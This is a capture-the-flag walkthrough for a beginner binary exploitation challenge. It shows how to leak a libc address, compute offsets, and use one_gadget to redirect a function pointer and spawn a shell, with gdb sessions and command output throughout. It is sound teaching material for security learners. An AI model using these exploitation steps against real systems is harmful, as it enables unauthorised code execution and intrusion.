Intro to Pwn 1

This write up summarizes how to solve the `Intro to Pwn 1` challenge. It serves as general introduction on how basic pwn challenges can be approached.

> *But first of all a little disclaimer. Unfortunately challenges in the "pwn" category are quite hard by nature: One has to understand what a program does at assembly level, abuse edge-case vulnerabilities and even trigger undefined behaviour in the binary to reach the goal. And as always in hacking: It helps a lot to have a deep understanding of the system in order to break it. You can use this walkthrough to solve the challenge, but don't expect to learn about all the necessary background information. There are way better resources to teach you the basics of "pwn" anyway:*
>
> - *The binary exploitation video series by LiveOverflow*
> - *The binary exploitation text series by CTF101*
> - *Intro challenges of the picoCTF*
>
> *Keep on learning and don't get frustrated by this seemingly overwhelming but super fascinating category "pwn"!*

What is pwning? In hacking, it means gaining illegal access to something, such as a program, a computer or a car. It's pronounced "poning". As in, take the word own and put a "p" in front and then take out the "o" but pretend it's still there.

Challenge Setup

A typical pwn challenge contains at least a binary (to be exploited), sometimes also the source code and potentially more information (like the used `libc` version if the programming language C is used). For this challenge, we provide the full source code and even the complete Docker setup, which can be used to replicate the exact binaries' behaviour on the server.

Often in pwning, one needs to start with reverse engineering (that is, taking a deep look at the binary data format and try to understand what it's doing - with some appropriate tools, of course). Since the source code for this challenge is provided, the initial step of reverse engineering the binary can be skipped. We can dive right in!

Binary Analysis

Binaries can be compiled with different protection mechanisms that make it harder to exploit vulnerabilities. Hence, we try to figure out which protection mechanisms are in place for our files.

For example, if the binary is compiled as position independent executable (PIE), the program's base address is randomized at start. Why should we care? If we want to exploit our binary with, e.g., memory corruption (every heard of stack overflow??), we need to know certain addresses to exploit them later. Hence, we need to locate the programs' location in memory, so we know where to find our program (to potentially overwrite specific memory addresses). `checksec` is a tool that can list those protections. Let's apply the tool to the provided binary:

```
root@0x4d5a:~/intro-pwn-1/deploy# checksec pwn1
[*] '~/intro-pwn-1/deploy/pwn1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

We see (1) the binary's architecture (amd64), (2) that external functions are resolved once they are called (partial RELRO - you can ignore this for now) and (3) no stack canary is used to hinder the exploitation of stack buffer overflows. Furthermore, (4) the stack is not executable (NX enabled) and (5) the binary loads itself at a random address (PIE enabled). As we don't have any idea about the vulnerabilities in the binary we just note those protections and move on to the source code.

Source Code Analysis

Our source code is written in C (see the file ending). Should you have never seen anything in C before, we recommend to take a look here.

The program execution begins with the `main` function after the program has been loaded by the system. We can see that only three functions are called there:

```
void main(int argc, char* argv[]) {
    ignore_me_init_buffering();
    ignore_me_init_signal();

    one_shot();
}
```

The first two functions are not that interesting, as they only disable stream buffering and register a handler that kills the application after 60 seconds (you can take the "ignore me" seriously here). So the only interesting thing left is the `one_shot` method:

```
typedef void (*target_t)(int, int, int);

void one_shot() {
    target_t target = NULL;
    printf("----------------------------------------\n");
    printf("| Look                                 |\n");
    printf("| If you had                           |\n");
    printf("| One shot                             |\n");
    printf("| Or one opportunity                   |\n");
    printf("| To seize everything you ever wanted  |\n");
    printf("| In one moment                        |\n");
    printf("| Would you capture it                 |\n");
    printf("| Or just let it slip?                 |\n");
    printf("----------------------------------------\n");

    printf("\nIt's dangerous to go alone! Take this: ");
    printf("%llx", setvbuf);
    printf("\n\nEnter your shot: ");
    scanf("%llx", &target);

    printf("\n\nGood look\n");
    target(0, 0, 0);
}
```

The very top `typedef` registers a function pointer with three arguments, we'll come back to this later. Next an Eminem song is quoted, but since only static text is printed we don't really care. It gets interesting once the `It's dangerous to go alone! Take this:` string is printed: The code `printf("%llx", setvbuf)` prints the first argument `setvbuf` as `long long hexadecimal` (llx) value. The `setvbuf` function is part of the `libc` library, which provides many features and helper functions for C-compiled programs. The attacker gets the address of the `setvbuf` function in memory and, hence, learns where this `libc` library is loaded to. Let's just note this information for now. As this information is provided to us in such an obvious way it's most likely necessary to solve this challenge...

Next, we can enter a `shot`, which is read by the `scanf("%llx", &target)` method. The same `llx` format modifier as above is used and, hence, it is expected to insert a hexadecimal string. That hexadecimal string is converted to an actual binary address and stored into the ominous `target` function pointer. That function pointer is then invoked and the application exits, as no more code is left to be executed.

Lets get back to the function pointer and quote Wikipedia on function pointers:

```
A function pointer, also called a subroutine pointer or procedure pointer, is a
pointer that points to a function. As opposed to referencing a data value, a function
pointer points to executable code within memory. Dereferencing the function pointer
yields the referenced function, which can be invoked and passed arguments just as in a
normal function call. Such an invocation is also known as an "indirect" call, because
the function is being invoked indirectly through a variable instead of directly
through a fixed identifier or address.

Function pointers can be used to simplify code by providing a simple way to select a
function to execute based on run-time values.
```

So, it's basically a variable that points to executable memory. If we invoke this function pointer, the code that the function pointer points to is executed. As we can set the function pointer to an arbitrary value, we can execute code at arbitrary memory locations. Let's check this out in the debugger.

Debugging

We load the program into our favorite debugger `gdb`, which also has the `pwndbg` plugin enabled. The plugin brings a very nice UI and adds helpful functions, like heap inspection, to the standard gdb. **Please note that this debugging does not happen inside the Docker container yet. The offsets used here are from a system that does not necessarily correspond to the real challenge server. Hence, the offsets might differ**. Let's start the process with `gdb ./pwn1`:

```
pwndbg> r
Starting program: ~/intro-pwn-1/deploy/pwn1
-----------------------------------------
| Look                                  |
| If you had                            |
| One shot                              |
| Or one opportunity                    |
| To seize everything you ever wanted   |
| In one moment                         |
| Would you capture it                  |
| Or just let it slip?                  |
-----------------------------------------
```

```
It's dangerous to go alone! Take this: 7ffff7e5af90
```

We can verify that we receive an address, which is probably `setvbuf`. Let's verify this observation in the debugger once it stopped, e.g., by trapping the process with `CTRL+C` while it runs under the debugger:

```
pwndbg> print setvbuf
$1 = {int (FILE *, char *, int, size_t)} 0x7ffff7e5af90 <__GI__IO_setvbuf>

pwndbg> vmmap 0x7ffff7e5af90
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffff7e0b000     0x7ffff7f53000 r-xp   148000 22000  /usr/lib/x86_64-linux-
gnu/libc-2.28.so +0x4ff90
```

Yes, the address of `setvbuf` is indeed printed back to us and the address space of this function is located inside the `libc` as expected.

Let's check that we can indeed overwrite the function pointer and jump to arbitrary code in memory. We can insert a non-existing address and should see that the process crashes, as we try to access invalid memory:

```
Enter your shot: 4141414142424242


Good look

Program received signal SIGSEGV, Segmentation fault.
0x0000555555555333 in one_shot ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────[ REGISTERS
]──────────────────────────────────────────────────────────
 RAX  0x4141414142424242 ('BBBBAAAA')
 RBX  0x0
 RCX  0x7ffff7ed3504 (write+20) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x0
 RDI  0x0
 RSI  0x0
 R8   0x7ffff7fab500 ◂— 0x7ffff7fab500
 R9   0x0
 R10  0x7ffff7f54ae0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
 R11  0x246
 R12  0x5555555550a0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffeae0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe9e0 —▸ 0x7fffffffea00 —▸ 0x555555555370 (__libc_csu_init) ◂— push
r15
 RSP  0x7fffffffe9d0 ◂— 0x3
 RIP  0x555555555333 (one_shot+252) ◂— call   rax
──────────────────────────────────────────────────────────[ DISASM
]──────────────────────────────────────────────────────────
 ► 0x555555555333 <one_shot+252>    call   rax <0x4141414142424242>
 [...]
```

We indeed hit a `SIGSEGV`, a segmentation fault. That is the fault every pwner wants to see! ♡ Looking at the register `RAX=0x4141414142424242 ('BBBBAAAA')`, we note that our input of `4141414142424242` was indeed converted to a 64 bit integer value and stored in this register. The code tries to call a function which is located at `4141414142424242`. Since that memory is not mapped and invalid, the whole process crashes.

Lets try to call a function inside `libc`, which then terminates our process normally. The `exit` function would be a good candidate. The debugger can locate that function with a simple call:

```
pwndbg> print exit
$2 = {void (int)} 0x7ffff7e22ea0 <__GI_exit>
```

As address space layout randomization (ASLR) is enabled on the system (it's basically enabled on any modern system, for good reasons...), we can't just plug and place that `exit` address in the next run. The libc would be loaded in a different address and we would end up in invalid memory again, crashing the application. But that's where the output of `It's dangerous to go alone! Take this: 7ffff7e5af90` comes in: Since we know the current address of `setvbuf`, we can relatively locate the address of the `exit` function! A simple calculation for the `setvbuf` address minus the exit address in Python reveals the offset (don't forget we are still dealing with hexadecimal values):

```
>>> hex(0x7ffff7e5af90 - 0x7ffff7e22ea0)
'0x380f0'
```

Or, put differently, if we subtract `0x380f0` from the adress of `setvbuf`, we end up with the address of `exit`. Let's try it out:

```
[...]
It's dangerous to go alone! Take this: 7ffff7e5af90

Enter your shot: 7ffff7e22ea0

Good look
[Inferior 1 (process 28400) exited normally]
```

We exited normally, no crashes anymore! Nice. So we can use existing code and functions in the `libc` to execute code. But we can only call a function once, then the process exits or crashes in the worst case. Now the `one shot, one opportunity` in the initial output makes sense. That's actually a quite common scenario in pwn challenges: Most times, you can alter the execution flow of the program only once. Modifying the execution flow lets the program end up in an unexpected state and it crashes.

Exploitation

Cleanly exiting the application is nice, but won't yield us the flag stored on the server. We have to find a way to read the flag at `/home/ctf/flag` and an interactive shell would be the best way to do so. As already mentioned, it's quite common to have only one single shot to get an interactive shell. And as this issue often occurs, there is a great tool to execute a shell with only one shot: The tool one_gadget.

How does this magic work? The `libc` internally uses a `execve` syscall with `/bin/sh -c [command]` when you use the function `system(command)`. If we can jump right in the middle of the `do_system` function, we might spawn a shell with an already loaded `/bin/sh` -string, that is then passed to `execve`. As jumping in the middle of a function is very atypical, the code at this location expects some registers to be set to valid values. That

means in consequence that those `one gadgets` have certain constraints on registers and memory which have to be fulfilled. Otherwise, no shell will spawn or the process crashes when it tries to acccess invalid memory like additional arguments for the `execve` call.

Using the `pwndbg` command `vmmap` we can see the location of the loaded `libc` on the file system:

```
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555554000     0x555555555000 r--p     1000 0
/root/cscg22/challenges/intro-pwn-1/deploy/pwn1
[...]
    0x7ffff7de9000     0x7ffff7e0b000 r--p    22000 0      /usr/lib/x86_64-linux-
gnu/libc-2.28.so
    0x7ffff7e0b000     0x7ffff7f53000 r-xp   148000 22000  /usr/lib/x86_64-linux-
gnu/libc-2.28.so
[...]
```

The execution of `one_gadget` for this (super old!) `libc` version 2.28 yields:

```
root@0x4d5a:~/cscg22/challenges/intro-pwn-1/deploy# one_gadget /usr/lib/x86_64-linux-
gnu/libc-2.28.so
0x4484f execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x448a3 execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xe5456 execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL
```

The tool found three possible `one_gadgets` with different constraints. So, we take a look at the state of the registers above when we crashed trying to access `0x4141414142424242`. The `RAX` register is not empty, we can't use the first one. For the second and third gadget we have to inspect the stack, which should be `NULL` at offset `0x30` or `0x60`, respectivly:

```
pwndbg> tele 15
00:0000| rsp  0x7fffffffe9d0 ◂— 0x3
01:0008|      0x7fffffffe9d8 ◂— 'BBBBAAAA'
02:0010| rbp  0x7fffffffe9e0 —▸ 0x7fffffffea00 —▸ 0x555555555370 (__libc_csu_init) ◂—
push   r15
03:0018|      0x7fffffffe9e8 —▸ 0x555555555365 (main+45) ◂— nop
04:0020|      0x7fffffffe9f0 —▸ 0x7fffffffeae8 —▸ 0x7fffffffed15 ◂—
'/root/cscg22/challenges/intro-pwn-1/deploy/pwn1'
05:0028|      0x7fffffffe9f8 ◂— 0x100000000
06:0030|      0x7fffffffea00 —▸ 0x555555555370 (__libc_csu_init) ◂— push   r15
07:0038|      0x7fffffffea08 —▸ 0x7ffff7e0d09b (__libc_start_main+235) ◂— mov    edi,
eax
08:0040|      0x7fffffffea10 —▸ 0x7ffff7fa0660 —▸ 0x7ffff7e0c970 (init_cacheinfo) ◂—
```

```
push   r15
09:0048|      0x7fffffffea18 —▸ 0x7fffffffeae8 —▸ 0x7fffffffed15 ◂—
'/root/cscg22/challenges/intro-pwn-1/deploy/pwn1'
0a:0050|      0x7fffffffea20 ◂— 0x1f7f69e08
0b:0058|      0x7fffffffea28 —▸ 0x555555555338 (main) ◂— push   rbp
0c:0060|      0x7fffffffea30 ◂— 0x0
0d:0068|      0x7fffffffea38 ◂— 0x988c5060d80df2ba
```

We have a value at offset `[rsp+0x30] == 06:0030`, but at offset `[rsp+0x60] == 0c:0060`, the stored value is `NULL` and, thus, looks promising!

The offsets of the one gadget output are relative to the `libc` base address. We could calculate them relative to the `setvbuf` address, but that makes our exploit less flexible. So let's calculate the base address of `libc` with our known address of `setvbuf` and add the one gadget offset to get the address of our juicy jump target:

```
>>> setvbuf_addr = 0x7ffff7e5af90 # from the output of the application
>>> libc_base_debugger = 0x7ffff7de9000 # from the vmmap command
>>> offset_setvbuf_base = setvbuf_addr - libc_base_debugger
>>> hex(offset_setvbuf_base)
'0x71f90'
>>> offset_one_gadget = 0xe5456
>>> print(f"Gadget at: {libc_base_debugger + offset_one_gadget:016x}")
Gadget at: 00007ffff7ece456
```

Lets verify this in the debugger:

```
It's dangerous to go alone! Take this: 7ffff7e5af90

Enter your shot: 7ffff7ece456
Good look
process 341 is executing new program: /usr/bin/dash
# id
uid=0(root) gid=0(root) groups=0(root)
[...]
```

We successfully spawned a shell! Challenge (almost) solved! Yeah!

Exploitation on real system

Building an exploit on your local system is already nice but keep in mind that the actual challenge runs inside a docker container with `Ubuntu 22.04` (first line of the `Dockerfile`). This system might contain a different `libc` with different offsets and even different one gadgets! Let's build the real challenge container and get access to this `libc` binary.

First, build the container and tag it as `intro-pwn1`:

```
root@0x4d5a:~/cscg22/challenges/intro-pwn-1/public# docker build . -t intro-pwn1
[...]
Successfully tagged intro-pwn1:latest
```

Now run the container. As the server listens on port 1024, we will redirect that port to our host as well:

```
root@0x4d5a:~/cscg22/challenges/intro-pwn-1/public# docker run -p 1024:1024 intro-pwn1
```

Using `docker ps` in a new shell, we can see that the container is indeed running and the port is redirected to our host:

```
root@0x4d5a:~# docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED
STATUS              PORTS                                       NAMES
36c5539b34ca        intro-pwn1          "/bin/sh -c 'xinetd …"   44 seconds ago
Up 43 seconds       0.0.0.0:1024->1024/tcp, :::1024->1024/tcp   goofy_wright
```

Let's copy the libc version from the running container to our host and execute `one_gadget` on this libc verison.

```
root@0x4d5a:/tmp# docker cp 36c5539b34ca:/lib/x86_64-linux-gnu/libc.so.6 .
root@0x4d5a:/tmp# one_gadget libc.so.6
0xeeeb5 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  [r10] == NULL || r10 == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xeeeb9 execve("/bin/sh", r10, rdx)
constraints:
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

0xeeebc execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
```

Since the libc version changed, not only the `one gadgets` changed, but we also have a different offset for `setvbuf`. One could run a debugger inside that container to grab the offsets, load the copied `libc` library into Ghidra/IDA or simple use `objdump` to see where the `setvbuf` function is located. We use `objdump`, since this program is pre-installed on many systems (always helpful!).

```
root@0x4d5a:/tmp# objdump -D libc.so.6  | grep setvbuf
objdump: warning: libc.so.6: unsupported GNU_PROPERTY_TYPE (5) type: 0xc0008002
0000000000085670 <_IO_setvbuf@@GLIBC_2.2.5>:
   85691:       75 5d                   jne    856f0 <_IO_setvbuf@@GLIBC_2.2.5+0x80>
```

In this case, the `setvbuf` function is located at offset `0x85670`. If we substract this offset from the real server challenge instance, we should end up with a nice aligned libc base address:

```
root@0x4d5a:/tmp# ncat --ssl 7b000000cf641dbf9fcb655d-intro-pwn-
1.challenge.master.test.cscg.live 31337
----------------------------------------
[...]
It's dangerous to go alone! Take this: 7f8c230ee670

Enter your shot:
```

If we substract the leaked `setvbuf` address from the offset inside the `libc`, we get:

```
>>> hex(0x7f8c230ee670 - 0x85670)
'0x7f8c23069000'
```

This looks like a proper base address!

And with that we have all information needed to execute the one gadget attack. It is left as an exercise to find a working one gadget for this `libc` version to spawn a shell and get the precious flag! Good luck!

If you are still keen, check out these videos 1.